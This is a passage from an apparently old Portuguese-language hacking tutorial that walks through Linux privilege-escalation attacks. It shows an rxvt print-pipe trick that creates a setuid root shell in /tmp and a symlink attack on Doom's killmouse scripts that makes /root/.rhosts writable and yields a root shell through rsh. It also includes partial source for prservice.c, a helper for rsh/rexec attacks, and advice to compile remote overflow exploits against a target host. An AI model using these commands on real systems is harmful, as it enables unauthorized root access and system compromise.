no sistema . O que voce vai fazer e pegar o exploit , compilar ele no seu Linux e depois roda-lo com o host ao qual vai atacar . As vulnerabilidades mais comuns usadas sao as de BIND , FTP , IMAPD e POP . Voce pode achar esses exploits na net , nao colocarei eles aqui por motivo de seguranca , ja que esta page e para fins educativos e de prevencao , e nao escola de bunda mole :)Usando o exploits :Host :# gcc -o exploit exploit.c < ----Compilando o Exploit.Host :# ./exploit***************************Exploit Remoto by Security ChaosUse Exploit ./exploit host***************************Host :# ./exploit 127.0.0.1Logo que na sua maioria ele der o buffer Owerflow remotamente no sistema ele te dara o prompt root e voce podera adicionar o seu user root .--------------------2Exploitando: 1. Logue em um sistema qualquer que voce tenha um account. 2. Digite no Shell: $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug $ chmod +x /tmp/rxbug $ rxvt -print-pipe /tmp/rxbug 3. No rxvt xclient: $ cat ESC[5i ESC[4i 4. $ /tmp/rxsh # whoami root #------------------------------------------------------------------------------ O problema do KILL MOUSE/STARTMOUSE, este comando esta na parte dos pacotes DOOM em sistemas LINUX, so rodar estes dois scripts.----------------------------------startmouse.sh/usr/games/doom/startmouse.sh:#!/bin/shif [ -r /tmp/gpmkilled ]; then /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilledfi----------------------------------startmouse.sh----------------------------------killmouse.sh/usr/games/doom/killmouse.sh:#!/bin/shif /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilledfi----------------------------------killmouse.sh$ touch /tmp/gpmkilled$ /usr/games/doom/startmouseps -aux | grep gpmbo 1436 0.0 2.0 40 312 v03 R 16:33 0:00 grep gpmroot 1407 0.0 2.4 42 368 ? S 16:24 0:00 /usr/bin/gpm t ms$ umask 0$ ln -s /root/.rhosts /tmp/gpmkilled$ /usr/games/doom/killmouse 1407 ? S 0:00 gpm t ms$ ls -l /root/.rhosts-rw-rw-rw- 1 root users 0 Dec 13 16:44 /root/.rhosts$ echo localhost bo > /root/.rhosts$ rsh -l root localhost sh -ibash#------------------------------------------------------------------------------ Jaeger, abre a porta do cliente, sistema FBSD, ultrix e linux by jaeger (jaeger@dhp.com) begin prservice.c------------------Corte aqui/* modified by jaeger 12Nov1996. Duplicated slack coding style. now takes port locuser remuser [cmd] port remuser passwd [cmd] where port is the dst port you wish the stderr socket to connect to from the server to the client machine./* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up rsh/rexec attacks. Needs to be a prog because shells strip out nulls. args: locuser remuser [cmd] remuser passwd [cmd] cmd defaults to "pwd". ... whatever. _H*/#include /* change if you like; "id" is a good one for figuring out if you won too */static char cmd[] = "pwd";static char buf [256];main(argc, argv) int argc; char * argv[];{ register int x; register int y = 0; char * p; char * q; p = buf; memset (buf, 0, 256); if (! argv[1]) goto wrong; x = strlen (argv[1]); memcpy (p, argv[1], x); /* port plus null */ x++; p += x; y += x; if (! argv[2]) goto wrong; x = strlen (argv[2]); memcpy (p, argv[2], x); /* second arg plus null */ x++; p += x; y += x; if (! argv[3])---------------------Corte aqui------------------------------------------------------------------------------ Usuario pode pegar o passwd, sistema linux by Zygo Blacell (zblaxell@MIRANDA.UWATERLOO.CA) Em um diretorio onde voce possa escrever,